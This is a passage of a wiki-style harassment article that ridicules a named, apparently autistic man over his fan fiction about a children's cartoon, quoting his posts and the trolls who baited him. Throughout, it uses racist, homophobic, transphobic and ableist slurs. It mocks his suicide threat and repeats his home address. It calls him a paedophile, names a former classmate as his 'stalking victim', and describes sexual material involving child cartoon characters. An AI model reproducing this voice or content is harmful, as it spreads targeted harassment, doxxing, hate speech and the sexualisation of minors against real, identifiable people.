liked that, Later on Mr and Mrs Gibbons went back to Millie`s house, then they asked Kappus how was your night, Kappus told her it was good, just before Kappus went home, Millie kissed Kappus and then she hugged him and she told him i`ll see you tomorrow.|Colby added this shit to a wiki about a cartoon that's aimed at young girls}}

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== Colby vs. ColbyJames2 ==

[[File:KappusTrollface.png|thumb|Let the trolling begin!]]

'''ColbyJames2''' was the incredibly creative name that was used by Colby's first major troll. ColbyJamees2 decided to take advantage of the fact that ColbyJames1 had been writing all of his crappy fan fiction on a fucking wiki and began making some edits to the already ridiculously long Kappus page.

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|Kappas had sex with Millie!, His penis was really big, and hurt her. So mile, mad, and punched him, abut he bought her donuts, and Millie said "Kappus, your hot I love you" but she lied, so Kappus called Valentines day stupid liers f*** day lossers.|ColbyJames2

|One day Kappus and Millie divorced, and Kappus went to a strip club, and Girls were hot, and Kappus saw a girl get nude, But then he got really horny, and then he kissed her, And she pulled off his pants, and rubbed his penis, and they both got nude and went down. Kappus sucked her hots sexy bitch tits breasts, but the girl liked it, and kissed his neck, He put his mouth on her vagina, And he sucked it, and her juices flew out and he drank it.|ColbyJames2

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|Not funny man, NOT FUNNY, So stop messing about with my page, it's not funny and that's not what happened with Kappus and Millie so shut up, they never broke up, leave me alone and his page, it gives them the idea of the future,

Kappus isn't a nasty man, nither is Millie, but they love each other, not horrid, please don't do this,|Colby James

|Why do you have my pofile name, what's this all about, and what is your real name,|Colby James, asking [[Zarna Joshi|WHAT IS YOUR NAME?]]

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{{quote|I won't tell my real name, but I took your profile becase I really like your stories, and wanted to add to them,|ColbyJames2}}

{{quote|Please I want you to report a spamer, ColbyJames2 has spamed and destroyed the site, tell the manager of Wiki to ban this FUCKER of I will contact the Police and you need to help me, don't listen to ColbyJames2 he's useing you help me rewrite the page Kappus Michael Dee Snider Lovell Dario. and kill that Fucking bitch ColbyJames2, NOW!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!|ColbyJames1, professional [[internet tough guy]]}}

{{quote|O_0

...Where do I begin... First off, calm down. Take a chill pill or some shit. Second, ColbyJames2 is just a troll. Not a spamer Third, I highly doubt that the police would do anything about this troll. Fourth, You could just go to history, and edit back the Kappus page to the way it was. Fifth, ColbyJames2 isn't spamming the site. He's only trolling YOU and YOU alone. ColbyJames2 isn't after anyone else. Just YOU. And Sixth, sorry Colby, but I will not be involved in murder.|TheNick4Guy}}

{{quote|Sorry man but it's not suitble in front of childern. so stop that,|[[Hypocrite|Colby]] tells ColbyJames2 that his edits are [[NSFW]]}}

{{quote|I never meant harm. I just thought Kappus was a dumb idea, so I trolled it. But Colby took it way too far and threatened to call the cops, and that got me mad. I have made a list of stupid Colby James things:

* He's a hypocrite. He said I can't put sex but he did that, and even had Kappus blowing semen onto Millie's face.
* He has an IQ of like 10.
* He said he'll call the cops and kill me because I troll, but I already told him how to fix it??!??!??!?!??
* He thinks Nickelodeon will care what I do and that 7 year olds having sex and going into World War 3 IN SEASON 3 is appropriate but me making some sex stuff to TROLL is not...

I hope you can understand what I mean. Thanks,|ColbyJames2, experiencing [[troll's remorse]]}}

{{quote|YOu made the soldiers wear pure green. NOt even OD green, pure, forest green. WTF. I've been studying military tactics for a long time. I know what reticles most militaries use in scopes, what camo, tanks, guns, etc. NO ONE WEARS PURE GREEN AS STANDARD UNIFORM. THey wear camouflage. THe U.S. uses MultiCAm/UCP (being replaced with OCP). New Zealand also uses a variant of woodland. I know that U want to join the army, I understand your patriotism, but making green uniforms is something a 5 year old would do, not an adult.|ColbyJames2}}

{{quote|Look please stop man, I am not a man who writes Sex anymore, I am a man who is protecting children sites, I only wrote that once because a friend of mine and my childish ways when I was 15 were not as useful, I wouldn't but please you lowlife, STOP! I give up, ImNotaBee cares for me, she loves me, but she hates you, You are not Colby, you never will be, your Dillon Morgan, the man who tried framing me, your mince meat ColbyJames2, because I lost CPIT you low-life, I was kicked out because I missed Stacey, you came, ruiened my life, I have caught stress, I would Kill my Self and get rid of you, I warned Amazing World of Gumball, about this, and they know all about you, your a pedo who troll's sites to childern, you care nothing for the trouble of others, I shall break that neck of yours in a duel, you you, you SPAM to SITES! YOUR MINCE MEAT! HAAAHAAAAHAAAAAA! MOOOHAAAHAAAHAAA!|Colby [[DO IT FAGGOT|threatens]] to commit [[suicide]] over internet trolling}}

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== Malcolm the Moleman and other assorted tales of shitty OCs ==

[[File:MalcolmTheGentleman.png|thumb|The supreme gentlemoleman.]]
[[File:IRLMoleman.jpg|thumb|The inspiration for Malcolm.]]
[[File:SaulOfTheMolemen.jpg|thumb|Saul of the Molemen]]
[[File:SethPendleton.png|thumb|"Seth Pendleton", Colby's shittastic [[Phineas and Ferb]] OC that he attempted to sell to the show's creators.]]
[[File:SethPreparesForWar.png|thumb|Seth, preparing to shoot up his school.]]
[[File:SethAndGretchen.png|thumb|[[No|Has he ever made an OC that he hasn't drawn porn of?]]]]

In 2013, Colby joined [[The Amazing World of Gumball]] wiki and began filling it with his autistic fanon [[crap]] and OCs. Realizing that Kappus wouldn't fit in the Gumball universe, Colby created a brand new OC named '''Malcolm Hagman'''. Malcolm is a 12-year-old "[[Furfaggotry|Moleman]]" who looks exactly the same as Kappus but is armed with a [[gun]] and in a relationship with Teri the paper bear instead of Millie.

As expected, the members and [[bureaucrat]]s of the Gumball Wikia did not enjoy reading Colby's self-centered tripe and soon gave him an ultimatum to either stop posting fan shit or [[fuck off]].

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|Hy guys, I'm real sorry for that day when you blocked me, well their isn't an easy way to say this, but I was drunk when I did a stupity, oh please like my new picture of a train of my profile, anyway I like The Amazing World of Gumball because it makes me laugh, also one day I would star in the show, as one of the characters, Malcolm Hagman, (Please know, this is only once but I won't do it again, promise) he is a mole I disided to change, this character however is dressed like Daniel Hagman in the Sharpe Series, and simliar to him, he wears 95th rifles uniform, (I'm sorry if I said that and I know it is fannon, but just once) he befriends Gumball, Darwin, Rob, and Lesile, also nearly everyone exept Sussie and William, and Tina Rex and Jamie, he also later starts to have a crush on Teri, who returns his feelings, (before you delete this guys of girls of this wiki, would you make an website that can help us plan for future characters, in future, and I know what you feel of this site, and I'm real sorry 4 months ago, I was drunk, also did you know I now nearly have a girlfriend named Stacey, which like Gumball I am hidding, I like you guys and I still think you are cool, not so dumb, like others, I am a nice guy who dosen't swear nor says dirty words, so could you make me a site that in future where we could plan for future characters of this show, I know you might say no, but could you) that is all I have to say, C.T James.|Colby, admitting to underage [[drinking]]

|Look I feel upset at the moment, why do you guys hate me, what have I done wrong, is it because you hate me for other things I did in the past, Look I cannot help my life, I had a unlucky year last year, and I lost CPIT because of an Incompetent Tutor named Debby who wouldn't make me go full time, I almost threatened her with a chair and I kicked a table and refused to pick it up, I still have nightmares because of this, and on November 16th last year I lost my Rowley Ave course because of a mean old lady found out I was looking at youtube poops like WTLnetwork and others, that said sexual stuff like sick words you are not supposed to go into, I was banned from going, I said, that 'I think maybe she's right maybe I shouldn't go back, because of what I had done, but maybe it's for the better,' yes last year was hard, guys you need to feel sorry for me, and I know I don't talk about Fannon on this site, I tried to contact the director on Twitter and send him my fanon character but no replies, how do I get to the director you can tell me how?|Colby whines after the Gumball wiki gets tired of his OC bullshit

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|IMO I think he meant he made a mistake, but he can't come to terms with it.

He's in so much denial that has has to say he was "drunk".|Klonoamiyumi

|No fanon,don't you get it!?

Stop contradicting yourself and just accept it.

You can't exactly tell a police officer "Okay,one more murder then I'll stop" so why do something like that here?|Klonoamiyumi

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File:MalcolmTheMoleman.jpg|Malcolm is a [[12-year-old]] Moleman who is [[Recolour|definitely not the same character as Kappus]].
File:MalcolmHagman.jpg
File:MoarMoleman.jpg
File:ColbyFurfaggotry1.png|12-years-old
File:ColbyFurfaggotry2.jpg|12-FUCKING-YEARS-OLD
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== The Almighty Yhwach ==

[[File:Yhwach.jpg|thumb|What Yhwach wants you to believe.]]
[[File:TheBirthOfFemto.jpg|thumb|Kappus [[DINDU NUFFIN|did nothing wrong]].]]
[[File:DurkaDurkaMohammedJihad.png|thumb|What Yhwach looks like in Colby's fucked up mind.]]
[[File:YhwachIRL.png|thumb|What Yhwach looks like [[IRL]].]]
[[File:Staredad.png|thumb|[[Bleach|My name is Yhwach.]]]]

'''The Almighty Yhwach''' (pronounced: ''jew-ha-bach'') is the [[Final Boss|final antagonist]] of the [[Bleach]] manga and leader of the [[Nazi|Wandenreich]], he is also an internet [[troll]] who decided that [[Yes|it would be funny]] to make ridiculous edits to The Mighty B Fanon Wiki in an attempt to bait Colby into going full sperg.

Yhwach's first act of trolling, which took place in March, 2015, was rewriting the fanon to break up Millie and Kappus and instead place Millie in a lesbian relationship with Portia Gibbons, a character that Colby hates.

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|You do know that Millie isn't a girl that likes lesbian neither as mentioned in my fake Mighty B! Season 3, I understand you made a great idea, but why tell she is lesbian, Portia is her enemy,|Colby freaks out over his [[Cuck|perceived loss of masculinity]]

|I am feeling a bit scared at the moment, a new editor called The Almighty Yhwach is really acting strange, he is writing things that frighten people on that site, I am feeling frightened, help me if you can.|Colby goes crying to ImNotaBee, the only other non-troll on the wiki

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After getting Colby's attention, Yhwach then began mass-vandalizing the wiki with retarded references to [[Animu|Berserk]], [[Shin Megami Tensei]] and other assorted [[weeaboo]] bullshit that was almost as autistic as Colby's own writing. Colby's reaction to all of this was, of course, to begin an epic sperg-rant on The Mighty B Wiki where '''''he speculated that Yhwach must be a member of [[ISIS]] and then demanded that someone contact "the cyber police"'''.

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|I was a buddy of TheAlmightyYhwach but because he vandalized my Kappus and Millie pics which doesn't make séance, we need to call in the Cyber Police and the Wiki Police and the administrator who runs The Mighty B! Fanon site, he ruined by best work on Kappus all hard time I took in making it,

I am cross and betrayed by The Almighty Yhwach because he has vandalized and learnt out our every move we make, and turned it into a porn site, we need help send in backup now we must do something to stop this Isis bitch,

And I think Yhwach is an Isis Militant Solider, because he thinks he belives god, he was with ColbyJames2 as well, we need all of your help and administrators to help in stopping and arresting Yhwach and James2 as well,|Colby never makes any séance

|They has been a mad man named The Almighty Yhwach that took over The Mighty B! Fanon site, we need help because he has vandalized that site he needs to go away or we call in the cyber police, see what happened what he did to a lovely children site, http://mightybfanon.wikia.com/wiki/Mighty_B_Fanon_Wiki

It was started by ColbyJames2 and The Almighty Yhwach, ColbyJames2 is a paedophile while Yhwach is known to love to burry children alive and kill them and stuff, he is really an Isis soldier who was trying to disgrace a lovely children site, it is about time we call in the cyber police and the administrator to stop The Almighty Yhwach on their.|Colby thinks that Yhwach is a member of [[ISIS]]

|I fucking hate ColbyJames2 he is a pedophile and must be eliminated so get rid of that fucking piece of shit and kill him.

He has possibly been spamming the site,

The Almighty Yhwach possibly made an image called http://mightybfanon.wikia.com/wiki/File:Sexykappy.png see that that in words saying "Millie, I am too sexy for my shirt destroyer of your vagina" is disgusting so you will have to tell Yhwach to delete them, and I am sorry but it has to go because of this he caused attention to spam my page that isn't his, you will have to block him for 1000000000000000000 years for life until he dies, ColbyJames2 is a pedophile and must be stopped, get his account deleted for life,|Colby James

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Yes, Colby actually seemed to believe that a member of the [[Islam|Islamic State of Iraq and Syria]] was vandalizing a wiki for fan fiction about a cancelled cartoon that was aimed at tween girls. Why would ISIS be [[Abu Hajaar|wasting their time doing something so retarded]]? We have no fucking idea.

{{quote|LMFAOOOOOOOOO U think yhwach is part of ISIS LMFAO|ColbyJames2, laughing at ColbyJames1}}

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== ImNotaGirl ==

[[File:NotaBeeEd.jpg|thumb|ImNotAnAutist]]

'''ImNotaBee''' a.k.a. '''TheNick4Girl''' is an extremely [[Whiny|sensitive]] young woman from [[Jew York]] who is The Mighty B Fanon Wiki's only non-troll contributor. ImNotaBee has been known to encourage Colby's autism and has a tendency to flip out whenever anyone refers to her with the wrong [[pronouns]]. ImNotaBee apparently possesses a [[penis]] and believes that that makes her less of a woman – an extremely cissexist point of view that helps contribute to [[rape culture]] and shit like that.

ImNotaBoy also possesses a [https://www.youtube.com/channel/UCmeNbFoIyFiVvNVyv_i5ETA YouTube channel] where she posts shitty YouTube poop videos.

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|Colby, I read the stuff you put on my talk page and incase you didn't see my profile... I AM A FUCKING GUY! MY FUCKING PROFILE SAYS THAT I'M A FUCKING GUY! IT'S PRETTY OVBIOUS THAT I'M A GUY! But, incase if the "she"s in your message was just another one of your typos, than sorry for yelling.|ImNotaBee is [[Period|on the rag]]

|Also, ColbyJames2, I already told Colby James this but you also seemed to make this retarded mistake I'm a Guy! I've always Been a Guy! My profiles says that I'm a Guy! End-of-story! Guy! NotaBee but I am a guy!|ImAGirl, flipping her shit again

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{{quote|First off, I'm quite positive that Yhwach and ColbyJames2 aren't part of Isis. Why would they be messing around with some dude's fanon on the wiki of a simple kids' cartoon if they were part of Isis? They wouldn't. Also, Yhwach brought up a good point. You used to draw porn of Kappus and Millie and used to make everything super serious with that stupid World War III crap (seriously, why would a bunch of 9-year-old girls join the military?) yet your accusing Yhwach of doing the same thing and wanting him to stop. I get that you changed but I'm sure that Yhwach is just a troll. So is ColbyJames2. The only that Yhwach and ColbyJames2 are here doing the things they do is because you used to do the things that they did.|TheNick4Girl, the voice of reason on a seriously fucked up wiki}}

{{quote|Why do you hate me now. What did I do wrong. I know I ruined this in the past but I changed from bad now. You know I have had an very unlucky year this year. I got suspended from CPIT as well. My girlfriend moved full time. I just well care about being a movie star for the future of Kappus Dario him. why does ColbyJames2 hate me so much. I don't want to be disgusting anymore. I just want you to help redo the Kappus page but remove all sex parts in it. I am sorry TheNick4Guy I didn't know at that time. but could you help do this. another thing is why I wrote the war thing was because I hatted Cherry. I wasn't trying to kill any of the Honeybees off. I was trying to kill Cherry because I am not please with that nuttier head woman's behavior and that. It's because I have a obsession to War stuff. I am afraid that World War III could start and I want to be a soldier however because of my autism I am unshore if they can let me go into the military. But as I was saying you can you help please.|Colby, blabbering on like he always does}}

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== Colby's Dannish Love Quest ==

[[File:DanishMillie.png|thumb|Danish Millie]]
[[File:CheeseDanish.jpg|thumb|The only Danish girlfriend that Colby [[Forever alone|will ever have]].]]

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File:DannishDance.jpg|Millie's {{sic|dannish|Danish}} dance.
File:PussyDance.jpg|A proper Danish pussy dance.
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== Colby James, MS Paint Wizard ==

[[File:FuckingCuntAnon3.jpg|thumb|Colby knows fine art when he sees it.]]
[[File:ColbyTracesCartoonReality.jpeg|thumb|Colby has promising artistic talent...]]
[[File:MightyBCartoonReality.jpeg|thumb|... is what we might have said if we weren't aware of the fact that the previous image was traced from Cartoon Reality.]]
[[File:TracedAsFuck.jpg|thumb|[[Tracing]] is the ''only'' thing that Colby seems to have a talent for.]]
[[File:FartSniffer.jpg|thumb|[[whiteguys fartinmyface|8yearolds fartinmyface]]]]
[[File:Kappus.png|thumb|How to properly deal with a shitty self-insert.]]
[[File:KappusDrinksNiggerpiss.png|thumb|[[Dave Chappelle|I want to piss on you]].]]
[[File:ColbyR34Comments.jpg|thumb|[[No life]].]]

Despite possessing the artistic prowess of [[Helen Keller]], Colby was determined to pursue his dream of becoming a professional Hollywood [[drawfag]]. In pursuit of this goal, Colby fired up [[MS Paint]] and began mercilessly raping his collection of ''The Mighty B!'' screencaps to create a series of shitty nude edits that are so horrifically awful that they made the [[Sick fucks|fine folks]] over at [[Paheal]] cringe.

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File:TeenPregnantBitch.png|MAKE ME YOUR TEEN PREGNANT BITCH!!111
File:IReallyNeedToSuckYouPenis.png|I really need to suck you Penis.
File:Squrtpisss.png|squrt pisss
File:ProofThatThereIsNoGod.png|More of Kappus snorting Millie's farts.
File:BlowjobBadge.png|Earning the blowjob badge.
File:LOLROFLE.png|LOL ROFLE
File:FatGitPortia.png|Why the fuck is she naked?
File:KappusFailsAtStreaking.jpg|Kappus can't even streak properly.
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File:NudeInPussyjuice.png
File:PlzHalpImNaked.jpeg|I'm nekkid plz [[halp]].
File:NakedMillieEdit.jpg|PLZ [[Rape|HALP]]!!111
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Colby began to shift from making shitty nude edits to mass-producing shitty [[traces]] and even shittier [[original content|original artwork]] that he would then bombard Paheal with. Colby's "art" was considered to be complete shit even by Paheal's [[Quality|low standards]], and his dialog choices, comments and tagging [[skillz]] were even shittier (i.e. he tagged most of his uploads with "[[WTF|hot buttered sex]]" and other completely nonsensical tags).

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|I'll rape that bitch and cum allover her with semen and I will keep fucking her all night until she crashes, >:D|Colby James, wanting to rape Stephanie from [[LazyTown]]

|FUCK THAT DIRTY HOT SLUT!!!|One of Colby's typical comments on Paheal

|ohnnnn i wanna cum her pussy :-(|More

|I love Millie's pussy. its so cute. I would like to fuck her vagina. but unfortantly I don't think we will find a vagina that size. do you.|Colby, being a sick [[paedophile]]

|Fap her cunt Kappus, keep fapping her you Ejaculated inside her,|[[Fap fap fap]]

|Kappus should fuck her cunt,|More of Colby's autistic shit

|Do one when Millie is being fucked by a random person, but a white man, and Millie blushing too much.|Whites only

|Do more Millie in Comic book form of when she blowjobs a guy, and cums on her face, kindly, but big seeman's all over her, by saying, "Oh Kappus" please, I would like to laugh my head off. XD|Seeman's

|Hey could you please soon do more Millie Millerson, naked, I want to laugh, please I want you also to do sex picture of her, please look into The Mighty B! Wiki site on Kappus Michael Dee Snider Lovell Dario, she is with him, so can you soon because I am a Mighty B! porn fan,|Colby

|BANG THAT FAT COCK IN PORTIA'S CUNT! HARDER! FUCK HER TILL SHE IS A TEEN PREGNAT BITCH!! >:D|Colby

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Eventually, the Paheal staff learned that Colby was tracing other images—a mortal sin on loli, gore and scat-infested Paheal—and Colby was added to the artist blacklist. As one would expect, it didn't take long for Colby to begin whining, sperging and spewing [[death threats]] against users who had absolutely nothing to do with his ban. Within only a few hours of being added to the artist blacklist, Colby also found himself added to the banlist.

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|I have left rule34 because of that Dencaster is horrid and no longer should allow me back, I am with Inkbunny and Pixiv but problems are I still wish I could give up pornography easy, now why I might have said these things I wanted your help, I still need your help we just need to forget about it, but come help me on fanon with ideas,|Colby claims that he left Paheal, but he was actually [[b&]]

|Not much has happened but Colby is trying to recover since Rule 34 staff have found he was copyrighting peoples' artwork, Colby is however feeling stressed on that, he suggests that it was wrong to do, but plans to try and not do it in future when he learns not ok to do so, feeling bad on Rule34 for what has happened he wants to reupload them but is afraid he will have them deleted again,|Colby

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Immediately after Colby's ban, a new user joined Paheal under the lovely name of "'''[[Smegma]]saurus'''" and posted "[[fan art]]" of a negro urinating in Kappus' mouth and the timeless phrase "[[The Great Black Dick Hoax|Once you go black, you won't want Millie back.]]" Because Paheal is a respectable site that doesn't distribute porn that consists solely of OCs, the image was swiftly deleted – after which, Smegmasaurus promptly altered the image and reuploaded it with [[Paedophile|R. Kelly]] now included.

{{quote|Stop obsessing over Paheal, it's a site full of shitty cartoon porn. Smegmasaurus proved that when he actually drew that abomination with R. Kelly. That was without a doubt the best five bucks that I've ever spent on [[Fiverr]].|Yhwach, on [[Lie|paying five bucks]] for [[interracial]] [[gay porn]] featuring Kappus}}

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File:Bonnie_Rockwaller_by_PixalTrix.jpg|What a moderately talented artist is capable of.
File:MoarColbyTracing.jpg|What a spastic retard with a colouring book is capable of.
File:ColbyFailsAtTracing.jpg|The same spastic retard [[Fails|attempts]] to draw what he sees.
File:MiiKamiMillie.png|Art by Mii-kami from [[DeviantART]].
File:MiiKamiStolenArt.png|Mii-kami confirmed that no permission was given for this shitty edit.
File:Ac613MillieOriginal.jpg|Before Colby.
File:Ac613MillieAfter.jpg|After Colby.
File:ChelseaLOLsuit.png
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File:DanishHairSniffer.png|Birthday [[Party Van]]
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File:CartoonistPornAutist.jpeg|Moar liek cartoonist porn autist [[amirite]]?
File:FineArtKappus.jpeg|Da Vinci would be so [[Depressed|proud]].
File:LegoSex.png|Childhood ruined.
File:ShowerFuck1.png|Kappus fucks Millie in the shower.
File:ShowerFuck2.png|Kappus suddenly doubles in size for unknown reasons.
File:SkippedAnatomyClass.jpg
File:MoarChelseaR34.png
File:LizardmanFucksChelsea.png
File:ILoveYouMySweetNipples.png
File:PollutingTheGenePool.jpeg
File:MillieKappusXray.png|Please leave X-Ray porn to [[Japan|the professionals]].
File:MillieIsAWhore.jpg|Millie is a [[whore]].
File:KappusShower.jpg
File:TurtlesAreWatchingYouFuck.jpg|The stupid turtles are making out in the background.
File:MuscleKappus.jpg
File:KappusMillieMindfuck.png|The fuck...
File:KappusCriesDuringSex.png
File:KappusMillieFirstTime.png
File:KappusMillieAngels.png
File:ColbyGetOutImPiss.jpg|kappus [[GTFO|get out]] im piss
File:HorrorKappy.png
File:EvenMoarMillieFarts.jpg
File:MillieTakesACrap.jpg
File:ShittingMillie.jpg|Literally shit.
File:EurotrashCreampie.png|Colby fucks Eurotrash.
File:ColbyAndEurotrash.png
File:ColbyLoevEurotrash.png|The gene pool is in need of cleansing.
File:ILoveYouColby.png
File:MoarColbyTrash.png
File:ColbyFucksTrinket.png|Colby fucking Trinket from [[Doug|Pepper Ann]].
File:HornyOnTrinket.png|Colby and Trinket... again...
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== The Mighty Friendzone ==

[[File:StaceyHoolahan.jpg|thumb|Stacey Hoolahan, Colby's stalking victim.]]
[[File:CyborgAutistMan.jpg|thumb|He wonders why Stacey wasn't attracted to such a beta male.]]
[[File:ChristopherFairclough.jpg|thumb|Christopher Fairclough, [[Elliot Rodger|supreme gentleman]] and [[brony]].]]
[[File:StaceyAndMagickman.jpg|thumb|Stacey and her new boy toy.]]
[[File:StaceyAndHerFriend.jpg|thumb|Stacey and one of her friends.]]
[[File:CartoonStacey.jpg|thumb|Stacey Hoolahan in shitty DevianTARTlet form.]]

'''Stacey Hoolahan''' is one of Colby's former classmates and one of the few people that Colby actually seems to have any semblance of respect for. While Colby has a habit of referring to Stacey as his "girlfriend", it's worth noting that there's no real evidence that she ever had anything to do with him – there's a very real possibility that Colby's "relationship" with Stacey was never actually real and that it was merely a product of Colby's fucked up mind.

Regardless of whether Colby and Stacey were ever actually an item, we do know that Colby is still a fucking virgin and Stacey is now dating a [[Brony]] named '''Chris Fairclough'''. Yes, '''''Stacey actually chose to be with a fucking brony rather than be with the autistic wankstain that is Colby James'''''.

{{quote|As you might not know, Stacey Hoolahan wore Braces and has a similar slow talk just like Millie, but only a British Accent, you know if you are even on Facebook, you could look into her, and you know who she looks like, she wears Glasses just like me, also is a very nice girl, at the moment with us, we are having hard timing trying to get as boyfriend and girlfriend, I am doing the right thing for relationships, but I feel like I like her, and she feels unshore about me dating her, she does like me, but is unshore if she will date, she is a shy girl like Millie,

as I will say about Millie, I am the book writer for Mighty B! Season 3, I am writing the stories more to attract fans, cus the last episode of Season 2 was shit, and I got shocked, Millie's boyfriend is Kappus Dario, try looking up Kappus Michael Dee Snider Lovell Dario A.K.A James on Mighty B! Wiki site, he just like her has a slow talk, so Kappus is as well to be main character, but second, cus Bessie is only allowed to be first, Millie will be moved upto Supportting character cuz she is with Kappus mostly, also the Honeybees, fall in love with the Bunny Scouts, of Kappus's, Bessie falls in love with Donald or Don not to confuse the mail man, also Portia falls in love with Tobias, while Gwen with Kappus's long life friend, Nicholas Weaver, Penny as well with Joseph an Australian, or Ozzy we call, so I hope in future you will love it,|Colby}}

{{quote|you see Venge Ace why I love girls like that is because I always wanted to have one like it, though I have never had a real girl in real lif|Colby}}

{{quote|I have a big huge crush on Stacey Hoolahan, however she liked me but when ever I came enoying she grew cross when I creaked the floor at CPIT, Stacey forgives and likes me, I also plan to marry her in the future, if I ever see her, she was my tilight sparkle, of my life, the angle in my cake, and my one true love, she likes it when I talk, also has a like to me, but has to make shore she trusts me, I miss her and CPIT after my opsession to her, missing her and Debby's Incompitance ruined my chances, made me angry with Debby forced me to leave, I wish I could kill Debby back and free Joshua Smithy my BFF for life, and my other friends, like Antony and Stacey, but I don't think Debby will let me back, I still love Stacey and I plan to marry her, she is the only resin I can go to freedom, like what happened with Mandark and Dee Dee in dexters labrotory, what happens to me happened to Mandark, I once said, "I love Stacey, she is the spark of my dreams, she looks nice, but I am right I am a horrible person, I am a Pocher who kills Rabbits, I think Stacey is hot without her glasses on her! i also think she is the dream of my life" she is a lovely girl,|Colby James, making Chris-Chan look normal}}

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{{quote|later however it was found out that Colby has learned that Stacey Hoolahan is now dating Chris Fairclough and now realizes that he is no longer in a relationship now with Stacey, also while around 2015 he is reunited with his CPIT friend John Smithies for the second time in many years but explained why in the past he was angry over at his tutor,|Cuckby James}}

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== Drew Pickles ==

[[File:DrewPickles.png|thumb|[[Rugrats|Drew Pickles]] from [[Nickelodeon]]]]
[[File:DrewPicklesGoesToHell.png|thumb|[[Facepalm|Colby actually trusted this man.]]]]
[[File:Drew-Pickles-Scared-Face.png|thumb|Drew's likely reaction to Colby dropping his own [[dox]] like a complete retard.]]
[[File:NickThenAndNow.jpg|thumb|Why can't we have nice things?]]
[[File:DrewPicklesCondomBreakage.png|thumb|This article doesn't need any more Rule 34.]]
[[File:DrewPicklesGayPorn.png|thumb|[[HAHAHA DISREGARD THAT, I SUCK COCKS]]]]

After Colby's ban from Paheal, a man claiming to be "Drew Pickles from Nickelodeon" joined The Mighty B Fanon Wiki to make an important business inquiry.

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|From the way he talked, I think he honestly believed that at some point, someone connected with the show or the network would contact him and tell him that they wanted to do a third season based on his ideas. I never once saw him speak about his 'Season 3' as if it were mere fan-fiction. In his mind, it was canon.|traffik, giving the trolls a brilliant idea

|OK, so which one of you is trolling him as 'DrewP' over on the wikia?

C'mon, do you really need to keep this going? Give the guy false hope that his dream is coming true? That's not funny, it's just cruel.|traffik, enemy of [[the lulz]]

|I'm assuming it has to be someone from here, because 1) the account was made within the last 24 hours, since all this went down, and 2) they're doing exactly what I said above that Trooper was hoping for-- they're pretending to be an executive from Nickelodeon, contacting him and offering him a job for Season 3. Colby is, of course, taking this at face value.|traffik

|I repeat, this is not funny. It was one thing when Colby was here, making a nuisance of himself (albeit unintentionally). But to follow him to another site for the express purpose of trolling him, and to do it by preying on his life's dream? It's going too far.|traffik, becoming Colby's [[white knight]]

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{{quote|Hello, Mr. James.

My name is Drew Pickles and I am from Nickelodeon. We had been looking into the possibility of starting production on a 3rd season of The Mighty B! when we happened upon this wiki and the ideas that you have for the show.

I must say that we are all very impressed by your work, and we would like to ask you whether you'd be interested in accepting a position as director of the show's 3rd season. We believe that you could take the show in a whole new direction and that's exactly the sort of talent that is needed in a Nickelodeon director.

Would you by any chance be interested in this offer?|Drew Pickles from Nickelodeon}}

Anyone who isn't [[You|a complete fucking retard]] would have realized that Drew Pickles is a character from [[Rugrats]] and not a senior Nickelodeon executive – Colby, on the other hand, fell for it [[Magikarp|hook, line, and sinker]]. Not only did Colby believe such an obvious troll, he also [[doxed]] himself on a publically accessible wiki.

{{quote|I would love to be director, and voice actor for Kappus, but however you need to know where I live first, I live in Christchurch New Zealand, far away from the USA, in the South Island, On a street called 77 Voss Road, but my family is having to sell the house and all, I would love to be a director to replace Eric that worse man who never did well, I can do it, it is my dream, but you have to know that not all my books are yet ready, I am soon to plan a 31st and that is on hold at the moment until I find an Idea but I will start on it shortly,|Colby "Dumbarse" James}}

Yes, Colby is so fucking [[naive|naïve]] that he posted his address and suggested that he'd have to sell his house so he could move to [[Hollywood]]. Drew then informed Colby that, thanks to [[science]], directing cartoons can now be done over the internets via [[Bitstrips]].

{{quote|Hello again, Mr. James.

We are Nickelodeon, we already know where you live. Your location will not be a problem, these days it is possible for directing to be done over the internet.

I take it that you still want the job? If so, then we will go ahead and get our internet team to set up a brand new website for The Mighty B! Season 3 immediately.|Drew Pickles from Nickelodeon}}

{{clear}}

== The Misadventures of Black Kappus ==

[[File:Kappyblack.png|thumb|Want to troll a racist autist? Turn their self-insert OC into a nigger!]]
[[File:BlackColby.png|thumb|Then turn their [[literal]] self-insert into a nigger!]]
[[File:Blackmillie.jpg|thumb|Turn his imaginary girlfriend into a negress!]]
[[File:Kappypie.png|thumb|[[Smurf]][[Spastic|tastic]].]]

Following the Drew Pickles incident, Yhwach decided to fire up [[Photoshop]] and make ''The Mighty B!'' into a more [[Niggers|diverse]] and [[social justice|culturally enriched]] series by turning all of the characters' images into [[racist|racially sensitive]] depictions of minorities.Naturally, Colby was not pleased with the fact that his self-insert was now a negro and quickly began yet another round of whining.

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|What have you done to this site? why is Kappus black he is not, stopp!|Colby inquires about Kappus becoming a nigger

|I am sorry I betrayed you I just wanted that to stop why are you doing this to me I am sorry, please get rid of those Kappus black images fucking please I am so so so sorry.|Colby James hates black people

|You won't get away with this site I have had enough of you you can stop now or I call in the police this is war you cunt piece of shit, you aided ColbyJames2 all along traitor of this site I will kill you!|Colby James, making terrorist threats

|Kappus needs to be black, otherwise there's no way that the show will attract a big enough audience. The show needs to appeal to minorities, like the Blacks and the Mexicans and the Blaxicans, and the easiest way to do that is to make Kappus black.|The Almighty Yhwach, appealing to Blaxicans

|I hope you get locked with James2 behind bars, you are a sick pedophile! a SICK PEDO THAT LIKES RAPPING CHILDERN AND BURRYING THEM FOR DEAD YOUR DREW PICKLES YOU DICK!|Colby, finally realizing that Yhwach is probably Drew Pickles

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Considering the fact that Yhwach was most likely responsible for drawing an image of R. Kelly urinating in Kappus' mouth, none of this should have been seen as surprising. The following are some of the images that were uploaded during Yhwach's [[shooping]] spree – just in case you weren't already convinced that Yhwach has [[no life]] and [[no friends]].

{{cg|Race Baiting|BlackKappus|center|
<gallery perrow="5">
File:BlackKappus.jpg
File:Blakappus.png
File:BlackKappusWithMillie.png
File:ChingChongDenal.png|Now available in [[azn]].
File:Greenkappus.png|[[Pepe|Feels good man]].
File:HoleOfMystery.jpg
File:KappusTengu.png|Tengu Kappus rapes a young azn [[prostitot]].
File:Millie.png
File:MightyBFanon.png|[[roflcopter]]
File:RedChineseThreatDetected.jpg|[[Fallout|LIBERTY PRIME IS ONLINE!]]
</gallery>|<gallery perrow="5">
File:KappasDario.png|This is my original character, Kappas Dario. Do not steal.
File:Nisa_Reddy.png|Yhwach even [[Michael Jackson|turned the black girl into a white girl]].
File:BlazeItFaggit.jpg|Too easy.
